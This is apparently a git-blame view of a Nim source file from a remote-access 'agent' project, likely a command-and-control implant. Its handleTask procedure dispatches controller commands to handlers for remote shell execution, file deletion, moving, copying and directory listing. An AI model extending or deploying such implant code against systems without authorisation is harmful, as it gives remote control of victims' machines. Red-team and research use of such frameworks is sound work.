2025-07-09 14:38:30 +02:00
|
|
|
import strutils, tables, json
|
2025-07-19 16:49:27 +02:00
|
|
|
import ../agentTypes
|
2025-07-18 18:47:57 +02:00
|
|
|
import ../commands/commands
|
2025-07-19 16:49:27 +02:00
|
|
|
import ../../../common/types
|
2025-07-18 18:47:57 +02:00
|
|
|
import sugar
|
2025-05-22 20:03:22 +02:00
|
|
|
|
2025-07-18 18:47:57 +02:00
|
|
|
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
|
2025-07-08 23:10:19 +02:00
|
|
|
|
2025-07-19 16:49:27 +02:00
|
|
|
let handlers = {
|
|
|
|
|
CMD_SLEEP: taskSleep,
|
|
|
|
|
CMD_SHELL: taskShell,
|
|
|
|
|
CMD_PWD: taskPwd,
|
|
|
|
|
CMD_CD: taskCd,
|
|
|
|
|
CMD_LS: taskDir,
|
|
|
|
|
CMD_RM: taskRm,
|
|
|
|
|
CMD_RMDIR: taskRmdir,
|
|
|
|
|
CMD_MOVE: taskMove,
|
|
|
|
|
CMD_COPY: taskCopy
|
|
|
|
|
}.toTable
|
2025-05-28 10:39:30 +02:00
|
|
|
|
2025-07-08 23:10:19 +02:00
|
|
|
# Handle task command
|
2025-07-19 16:49:27 +02:00
|
|
|
return handlers[cast[CommandType](task.command)](config, task)
|